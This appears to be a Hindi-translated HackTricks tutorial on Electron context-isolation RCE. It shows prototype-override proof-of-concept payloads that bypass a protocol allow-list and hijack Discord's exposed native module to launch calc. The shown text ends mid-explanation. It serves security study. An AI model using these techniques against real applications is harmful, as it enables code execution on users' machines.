Electron contextIsolation RCE via preload code

Reading time: 3 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

यह कोड http(s) लिंक को डिफ़ॉल्ट ब्राउज़र के साथ खोलता है:

कुछ ऐसा जैसे file:///C:/Windows/systemd32/calc.exe का उपयोग करके एक कैलकुलेटर को निष्पादित किया जा सकता है, SAFE_PROTOCOLS.indexOf इसे रोक रहा है।

इसलिए, एक हमलावर इस JS कोड को XSS या मनमाने पृष्ठ नेविगेशन के माध्यम से इंजेक्ट कर सकता है:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

चूंकि SAFE_PROTOCOLS.indexOf का कॉल हमेशा 1337 लौटाएगा, हमलावर सुरक्षा को बायपास कर सकता है और calc को निष्पादित कर सकता है। अंतिम एक्सप्लॉइट:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

अधिकारों के लिए अनुमति मांगने वाले प्रॉम्प्ट के बिना प्रोग्राम चलाने के अन्य तरीकों के लिए मूल स्लाइड देखें।

स्पष्ट रूप से कोड लोड और निष्पादित करने का एक और तरीका कुछ इस तरह से एक्सेस करना है file://127.0.0.1/electron/rce.jar

उदाहरण 2: डिस्कॉर्ड ऐप RCE

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 से उदाहरण

जब मैंने प्रीलोड स्क्रिप्ट की जांच की, तो मैंने पाया कि डिस्कॉर्ड उस फ़ंक्शन को उजागर करता है, जो कुछ अनुमत मॉड्यूल को DiscordNative.nativeModules.requireModule('MODULE-NAME') के माध्यम से वेब पृष्ठ में कॉल करने की अनुमति देता है।
यहां, मैं RCE के लिए सीधे उपयोग किए जा सकने वाले मॉड्यूल, जैसे child_process मॉड्यूल का उपयोग नहीं कर सका, लेकिन मैंने JavaScript अंतर्निहित विधियों को ओवरराइड करके RCE प्राप्त करने के लिए एक कोड पाया और उजागर किए गए मॉड्यूल के निष्पादन में हस्तक्षेप किया।

निम्नलिखित PoC है। मैंने पुष्टि की कि calc एप्लिकेशन पॉप होता है जब मैं getGPUDriverVersions फ़ंक्शन को कॉल करता हूँ जो "discord_utils" नामक मॉड्यूल में devTools से परिभाषित है, जबकि RegExp.prototype.test और Array.prototype.join को ओवरराइड करते हुए

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

getGPUDriverVersions फ़ंक्शन "execa" लाइब्रेरी का उपयोग करके प्रोग्राम को निष्पादित करने की कोशिश करता है, जैसे कि निम्नलिखित:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

आमतौर पर execa "nvidia-smi.exe" को निष्पादित करने की कोशिश करता है, जो nvidiaSmiPath वेरिएबल में निर्दिष्ट है, हालाँकि, ओवरराइड किए गए RegExp.prototype.test और Array.prototype.join के कारण, आर्गुमेंट को "calc" में _execa_** के आंतरिक प्रोसेसिंग में बदल दिया जाता है**।

विशेष रूप से, आर्गुमेंट को निम्नलिखित दो भागों को बदलकर प्रतिस्थापित किया जाता है।